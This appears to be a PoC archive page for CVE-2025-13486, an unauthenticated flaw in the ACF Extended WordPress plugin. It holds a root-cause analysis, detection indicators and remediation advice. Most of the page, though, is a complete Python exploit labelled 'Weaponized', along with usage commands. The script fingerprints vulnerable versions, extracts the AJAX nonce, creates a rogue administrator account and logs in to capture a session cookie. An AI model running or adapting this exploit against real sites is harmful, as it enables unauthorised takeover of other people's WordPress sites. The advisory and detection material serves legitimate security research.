PoC Archive PoC Archive
Critical CVE-2025-13486 unpatched

ACF Extended (ACFE) `prepare_form()` Unauthenticated RCE via Privilege Escalation (CVE-2025-13486)

by Sélim Lanouar (whattheslime); CVE discovered by Marcin Dudek (dudekmar) · 2026-07-06

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherSélim Lanouar (whattheslime); CVE discovered by Marcin Dudek (dudekmar)
CVE / AdvisoryCVE-2025-13486
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, acf-extended, acfe, call_user_func_array, unauthenticated-rce, privilege-escalation, admin-account-creation, python, cwe-94
RelatedN/A

Affected Target

FieldValue
Software / SystemAdvanced Custom Fields: Extended (ACFE) — WordPress plugin
Versions Affected0.9.0.5 through 0.9.1.1
Language / PlatformPython 3 (httpx) exploit targeting a PHP/WordPress plugin
Authentication RequiredNo
Network Access RequiredYes (target must expose a page containing an ACFE-generated form)

Summary

The ACF Extended (ACFE) plugin’s front-end form-rendering AJAX handler (wp_ajax_nopriv_acfe/form/render_form_ajax) resolves user-controlled form configuration through prepare_form(), which ultimately passes attacker-supplied data into call_user_func_array() without adequate validation. Because the AJAX action is registered as nopriv (reachable while unauthenticated) and ACFE ships a built-in wp_insert_user form renderer, an attacker can invoke that renderer directly with form[render]=wp_insert_user and forged parameters to create a new WordPress account with the administrator role, then immediately authenticate as that account via the same handler’s wp_signon renderer. The PoC first fingerprints the ACFE version from a static asset URL, then (with --exploit) creates the rogue admin and logs in, dumping a valid wordpress_logged_in_* cookie.


Vulnerability Details

Root Cause

The vulnerability chain, per the repository’s root-cause analysis:

  1. includes/modules/form/module-form-front.php:24 — the AJAX action wp_ajax_nopriv_acfe/form/render_form_ajax triggers render_form_ajax, reachable without authentication.
  2. includes/modules/form/module-form-front.php:492 — the acfe/form/prepare_form filter invokes prepare_form().
  3. includes/modules/form/module-form-front-render.php:151 — user-controlled $form data (including which internal “render” function to invoke and its arguments) is passed directly to call_user_func_array() with no allow-list, letting an attacker select ACFE’s built-in wp_insert_user and wp_signon renderers and supply their own field values (username, password, role).

Attack Vector

  1. Fetch a page containing an ACFE-generated form and extract the ACFE version (from acfe-input.min.css?ver=) and the AJAX nonce embedded in the page ("ajaxurl":"...","nonce":"...").
  2. POST to /wp-admin/admin-ajax.php with action=acfe/form/render_form_ajax, the harvested nonce, and form[render]=wp_insert_user plus form[user_login], form[user_pass], form[role]=administrator — creating a new administrator account with attacker-chosen credentials.
  3. POST again to the same endpoint with form[render]=wp_signon and the same credentials to authenticate; the response Set-Cookie header contains a valid WordPress admin session cookie.
  4. Use the cookie to fully control the WordPress site (plugin/theme editing, further RCE, etc.).

Impact

Unauthenticated remote code execution (via arbitrary administrator account creation and login), leading to complete WordPress site takeover.


Environment / Lab Setup

Target: WordPress site with ACFE plugin version 0.9.0.5-0.9.1.1, with at least one
        page/post embedding an ACFE-generated front-end form (nopriv AJAX handler
        must be reachable)
Attacker: python3 -m venv venv && venv/bin/pip install -r requirements.txt
          (httpx, socksio, packaging)

Proof of Concept

PoC Script

See CVE-2025-13486.py in this folder.

1
2
3
4
5
6
7
python3 -m venv venv
venv/bin/pip install -r requirements.txt

venv/bin/python3 CVE-2025-13486.py -t http://TARGET/?page_id=2

venv/bin/python3 CVE-2025-13486.py -t http://TARGET/?page_id=2 --exploit \
  -u adm1n -p '2c5c87a94a2c5c87a94a' -r administrator

Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php HTTP/1.1
...
action=acfe%2Fform%2Frender_form_ajax&nonce=...&form%5Brender%5D=wp_insert_user&form%5Buser_login%5D=...&form%5Brole%5D=administrator

Signs of compromise:

  • Newly created WordPress users with administrator role that do not correlate with any /wp-admin/user-new.php activity
  • admin-ajax.php requests with action=acfe/form/render_form_ajax and form[render]=wp_insert_user or wp_signon from unauthenticated/anonymous sessions
  • Unexpected admin logins immediately following an unauthenticated AJAX POST to a page containing an ACFE form

Remediation

ActionDetail
Primary fixUpgrade Advanced Custom Fields: Extended to a version beyond 0.9.1.1 that restricts which internal functions prepare_form()/render_form_ajax may invoke via call_user_func_array()
Interim mitigationDisable or restrict ACFE front-end forms until patched; block unauthenticated access to admin-ajax.php actions matching acfe/form/render_form_ajax at the WAF layer; audit for unexpected administrator accounts

References


Notes

Mirrored from https://github.com/whattheslime/CVE-2025-13486-exploit on 2026-07-06. Detailed, CVE-specific root-cause analysis with working exploit code (version fingerprinting, nonce extraction, admin creation, and login all implemented and functional).

CVE-2025-13486.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#!/usr/bin/env python3
"""
===============================================================================
Author:         Sélim Lanouar (whattheslime)
CVE:            CVE-2025-13486
CVE Author:     Marcin Dudek (dudekmar)
Date:           2025-12-17
Title:          Remote Code Execution & Privilege Escalation exploit.
Vendor URL:     https://www.acf-extended.com/
Version:        from 0.9.0.5 to 0.9.1.1 included
-------------------------------------------------------------------------------
Install:        python3 -m venv venv && venv/bin/pip install -r requirements.txt
Usage:          venv/bin/python3 CVE-2025-13486.py -h
-------------------------------------------------------------------------------
https://sploitus.com/exploit?id=13551590-2822-5E83-9737-F55F4B2F9F82
https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-extended/advanced-custom-fields-extended-0905-0911-unauthenticated-remote-code-execution-in-prepare-form
===============================================================================
"""
import argparse
import re
from datetime import datetime
from functools import partial
from urllib.parse import urljoin

import httpx
import socksio
from packaging.version import Version as v


# --------------------------------------------------------------- Constants ---

AGENT = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
)
WORKER = 5
TIMEOUT = 10
PROXY = None
VERBOSITY = 0

# ------------------------------------------------------------------- Utils ---

def log(color: int, level: str, message: str):
    date, time = datetime.now().strftime("%Y-%m-%d %H:%M:%S").split(" ")
    print(f"\033[{color!s}m[{date}] [{time}] [{level}]\033[0m {message}")

log_warning     = partial(log, 33, "warning")
log_error       = partial(log, 31, "error")
log_success     = partial(log, 32, "success")
log_info        = partial(log, 34, "info")


def parse_args() -> argparse.Namespace:
    """
    Parse user arguments.
    """
    parser = argparse.ArgumentParser(
        description="CVE-2025-13486 — Remote Code Execution & "
        "Privilege Escalation exploit."
    )

    parser_exploit = parser.add_argument_group("exploit")
    parser_exploit.add_argument(
        "-t", "--target", type=str, required=True,
        help="target url (e.g. http://target.com).",
    )
    parser_exploit.add_argument(
        "-e", "--exploit", action="store_true",
        help="Enable exploitation mode and create a user on the target."
    )
    
    parser_http = parser.add_argument_group("http")
    parser_http.add_argument(
        "-x", "--proxy", type=str, default=PROXY,
        help=f"Proxy url (e.g. http://127.0.0.1:8080) (default: {PROXY!s}).",
    )
    parser_http.add_argument(
        "-H", "--headers", type=str, nargs="+", default=[],
        help="Custom headers (e.g. 'Header1: Value1' 'Header2: Value2').",
    )
    parser_http.add_argument(
        "--timeout", type=float, default=TIMEOUT,
        help=f"Set HTTP requests timeout (default: {TIMEOUT!s})."
    )

    parser_user = parser.add_argument_group("user")
    parser_user.add_argument(
        "-u", "--username", type=str, default="adm1n",
        help="Username for the user to create (default: adm1n)"
    )
    parser_user.add_argument(
        "-p", "--password", type=str, default="2c5c87a94a2c5c87a94a",
        help="Password for the user to create (default: 2c5c87a94a2c5c87a94a)"
    )
    parser_user.add_argument(
        "-r", "--role", type=str, default="administrator",
        help="Role for the user to create (default: administrator)",
    )

    return parser.parse_args()

# ----------------------------------------------------------------- Exploit ---

def exploit(
    http_client: httpx.AsyncClient,
    target: str,
    username: str,
    password: str,
    role: str,
    perform_exploit: bool = True
) -> bool:
    """
    Exploitation function. Return True if exploit succeeded, False otherwise.
    """
    try:
        response = http_client.get(target)

        # Get version
        match = re.search(
            r"acfe-input.min.css\?ver=([\d\.]+)", response.text
        )
        if match:
            version = v(match.group(1))
            if version >= v("0.9.0.5") and version <= v("0.9.1.1"):
                log_success(f"ACFE version is vulnerable: {version}")
            else:
                log_info(f"ACFE version is not vulnerable: {version}")
                return False
        else:
            log_warning(f"Unable to find ACFE version!")
            return False

        # Check if exploitation needs to be performed
        if not perform_exploit:
            log_info(f"Use `--exploit` to perform exploitation.")
            return True

        # Get nonce
        match = re.search(
            r'ajaxurl"\s*:\s*"[^"]+".*?"nonce"\s*:\s*"([^"]+)',
            response.text
        )
        if match is None:
            log_info("Unable to find ACFE nonce!")    
            return False
        
        nonce = match.group(1)
        log_success(f"ACFE nonce found: {nonce}")

        # Create user account
        url = urljoin(target, "/wp-admin/admin-ajax.php")
        data = {
            "action": "acfe/form/render_form_ajax",
            "nonce": nonce,
            "form[render]": "wp_insert_user",
            "form[user_login]": username,
            "form[user_pass]": password,
            "form[role]": role
        }
        response = http_client.post(url, data=data)
        log_success(f"Account created: {username}:{password} ({role})")
        # Log in
        data = {
            "action":  "acfe/form/render_form_ajax",
            "nonce": nonce,
            "form[render]": "wp_signon",
            "form[user_login]": username,
            "form[user_password]": password,
        }
        response = http_client.post(url, data=data)
        header = response.headers.get("set-cookie", "")
        for username in header:
            log_success(f"Authentication succeded!")
            log_info(f"Cookie: {header.split(';')[0]}")
            return True
        
        log_info("Authentication failed.")

    except httpx.HTTPError as error:
        log_error(f"HTTP client error: {error!s}")
    except socksio.exceptions.ProtocolError as error:
        log_error(f"SOCKS protocol error: {error!s}")
    except Exception as error:
        log_error(f"Unexpected error occurred: {error!s}")

    return False

# -------------------------------------------------------------------- Main ---

def main():
    """
    Program entry point.
    """
    args = parse_args()

    # Header parsing.
    headers_list = [["User-Agent", AGENT]]
    headers_list += [header.split(":", 1) for header in args.headers]
    headers = {header[0].strip(): header[1].strip() for header in headers_list}

    with httpx.Client(
        follow_redirects=False,
        headers=headers,
        proxy=args.proxy,
        verify=False,
        timeout=args.timeout
    ) as http_client:
        exploit(
            http_client,
            args.target,
            args.username,
            args.password,
            args.role,
            args.exploit
        )


if __name__ == "__main__":
    main()